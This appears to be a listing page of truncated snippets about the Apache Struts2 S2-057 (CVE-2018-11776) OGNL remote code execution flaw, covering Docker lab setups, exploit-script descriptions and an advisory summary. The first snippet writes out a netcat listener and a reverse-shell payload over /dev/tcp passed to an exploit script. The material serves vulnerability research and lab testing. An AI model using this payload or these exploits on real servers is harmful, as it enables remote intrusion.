CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

CVE-2018-11776

CVE-2018-11776 On August 23, 2018, Apache Struts 2 released its latest security advisory, revealing a high-risk remote code execution vulnerability. Reported by a security researcher from the Semmle Security Research team, this vulnerability is tracked as CVE-2018-11776 S2-057. If the namespace...

S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 A simple exploit for Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANT: Is provided only for educational or information purposes. Deploy test environment git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d Usage exploit.py Example $ pytho...

St2-057

St2-057 Online Target Machine Environment, Enjoy! 0x01 Set Up the Docker Environment https://github.com/vulhub/vulhub/tree/master/struts2/s2-048 docker-compose up -d 0x02 Set Up the st2-057 Vulnerability Environment docker exec -i -t 88fd8d560155 /bin/bash Start the service in the background and...

Apache Struts2 S2-057 OGNL RCE (CVE-2018-11776)

Exploits CVE-2018-11776 S2-057 OGNL injection via crafted namespace paths when alwaysSelectFullNamespace is enabled. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Struts2 S2-057 OGNL RCE CVE-2018-11776 — execute session.""" from future import annotation...

Apache Struts2 S2-057 vulnerability analysis and early warning-vulnerability warning-the black bar safety net

It is possible to perform a RCE attack when the namespace value isn't set for a result defined in underlying xml configurations and in the same time, its upper actions configurations have no or wildcard namespace. The Same possibility when using the url tag which doesn't have value and action set...